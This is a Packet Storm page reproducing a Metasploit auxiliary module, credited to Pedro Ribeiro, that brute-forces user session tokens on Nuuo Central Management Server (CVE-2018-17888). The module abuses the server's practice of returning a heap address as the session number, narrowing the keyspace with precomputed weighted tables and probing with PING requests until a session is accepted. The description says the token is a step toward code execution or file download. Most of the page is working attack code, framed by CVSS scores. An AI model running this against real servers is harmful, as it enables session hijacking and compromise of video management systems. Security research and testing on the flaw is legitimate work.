Lucene search

K
packetstormPedro Ribeiro, metasploit.comPACKETSTORM:180645
HistoryAug 31, 2024 - 12:00 a.m.

Nuuo Central Management Server User Session Token Bruteforce

2024-08-3100:00:00
Pedro Ribeiro, metasploit.com
packetstormsecurity.com
14
nuuo cms
session token
bruteforce
vulnerability discovery
metasploit module
heap address
user session
code execution
download files
cve-2018-17888
ics advisory
full disclosure
nuuo cms ownage

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

EPSS

0.024

Percentile

90.1%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'benchmark'  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::Nuuo  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Nuuo Central Management Server User Session Token Bruteforce',  
'Description' => %q{  
Nuuo Central Management Server below version 2.4 has a flaw where it sends the  
heap address of the user object instead of a real session number when a user logs  
in. This can be used to reduce the keyspace for the session number from 10 million  
to 1.2 million, and with a bit of analysis it can be guessed in less than 500k tries.  
This module does exactly that - it uses a computed occurrence table to try the most common  
combinations up to 1.2 million to try to guess a valid user session.  
This session number can then be used to achieve code execution or download files - see  
the other Nuuo CMS auxiliary and exploit modules.  
Note that for this to work a user has to be logged into the system.  
},  
'Author' =>  
[  
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2018-17888' ],  
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-18-284-02' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],  
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]  
  
],  
'Platform' => ['win'],  
'DisclosureDate' => '2018-10-11'))  
deregister_options('SESSION', 'USERNAME', 'PASSWORD')  
end  
  
# These tables were generated by doing thousands of requests to a NUUO CMS Server and collecting the responses.  
# Table id: hex-nu-mod  
  
# 2621440 total combinations for both 1.X and 2.X versions  
# 2.X versions only have 1048576 combinations, and this table will run through them first  
WEIGHTED_ARRAY_7 =  
['2', '1'],  
['4', '6', '5', '7', '8', '2', '0', '1', 'f', 'e'],  
['1', '6', '0', '8', 'd', '7', 'c', 'e', '2', 'b', 'f', '3', '5', '4', 'a', '9'],  
['d', '6', '4', '5', 'f', '0', '8', '7', 'a', '3', '1', 'b', 'c', 'e', '9', '2'],  
['3', 'e', 'f', '1', 'c', '5', '9', 'd', '8', '6', '0', '4', 'a', '2', 'b', '7'],  
['d', '4', '2', 'b', '3', '6', '8', '1', 'a', '7', 'f', 'e', '0', '9', '5', 'c'],  
['8', '0']  
  
# 189000 total combinations  
# Only tested (only applies?) to 2.X versions  
# These are only tried if WEIGHTED_ARRAY_7 fails  
WEIGHTED_ARRAY_6 =  
['9', 'a'],  
['7', 'c', '6', 'f', 'e', 'a', 'd', '9', '4', '5', '3', '2', 'b', '0', '8'],  
['7', 'b', '6', 'd', 'a', '3', '4', 'f', '5', '1', '8', 'e', 'c', '2'],  
['3', '1', 'c', 'f', 'd', '4', 'b', 'a', '6', '2', '5', 'e', '8', '9', '0'],  
['3', '6', '7', 'b', 'e', '9', '2', 'f', '4', '1', 'c', 'a', '0', 'd', '8'],  
['0', '8']  
  
  
def session_number_list(weighted_array)  
# Let's calculate all the possible combinations  
length = Array.new(weighted_array.length)  
for i in (0..weighted_array.length-1)  
length[i] = weighted_array[i].length  
end  
counter = Array.new(weighted_array.length)  
for i in (0..weighted_array.length-1)  
counter[i] = 0  
end  
total = 1  
for len in length  
total *= len.to_i  
end  
  
print_status("Generating #{total} session tokens")  
final_list = Array.new  
  
# code below taken from https://gist.github.com/Yengas/9010715  
(total).times {  
if weighted_array.length == 6  
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]]  
elsif weighted_array.length == 7  
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]]  
else  
# assume size == 8  
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]] + weighted_array[7][counter[7]]  
end  
  
# Find value of current combination by concatenating corresponding values of counters in the inner-arrays  
# Then we increment the value of the counter so we go on to the next combination.  
for index in (counter.length - 1).downto(0) # From (counter array's length - 1) to 0  
if counter[index] + 1 < length[index] then # If counter index can be incremented  
counter[index] += 1; # Increment the counter index  
break; # Stop the incrementation/go to the next combination printing/incrementing.  
end  
counter[index] = 0; # Assign current counter index to zero and try incrementing the next counter index.  
end  
}  
  
full_list = Array.new  
final_list.each { |x|  
full_list << x.to_i(16)  
}  
  
return full_list  
end  
  
def session_bruteforce_list(weighted_array)  
list = session_number_list(weighted_array)  
for session in list  
req = client.request_ping({  
'method' => 'PING',  
'user_session' => session  
})  
# module fails when shutdown/close lots of connections  
# create own connection and dont call close  
conn = client.connect(temp: true)  
res = client.send_recv(req, conn)  
  
@counter += 1  
if res && res.status_code == 200  
return session  
end  
end  
return nil  
end  
  
def run  
connect  
@counter = 0  
print_status('Bruteforcing session - this might take a while, go get some coffee!')  
session = nil  
time = Benchmark.realtime {  
session = session_bruteforce_list(WEIGHTED_ARRAY_7)  
unless session  
print_error('Failed to bruteforce, trying with the less likely numbers as a last resort...')  
session = session_bruteforce_list(WEIGHTED_ARRAY_6)  
end  
}  
unless session  
fail_with(Failure::Unknown, 'Failed to bruteforce user session.')  
else  
print_good("Found valid user session: #{session}")  
print_status("Time taken: #{time} seconds; total tries #{@counter}")  
end  
end  
end  
`

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

EPSS

0.024

Percentile

90.1%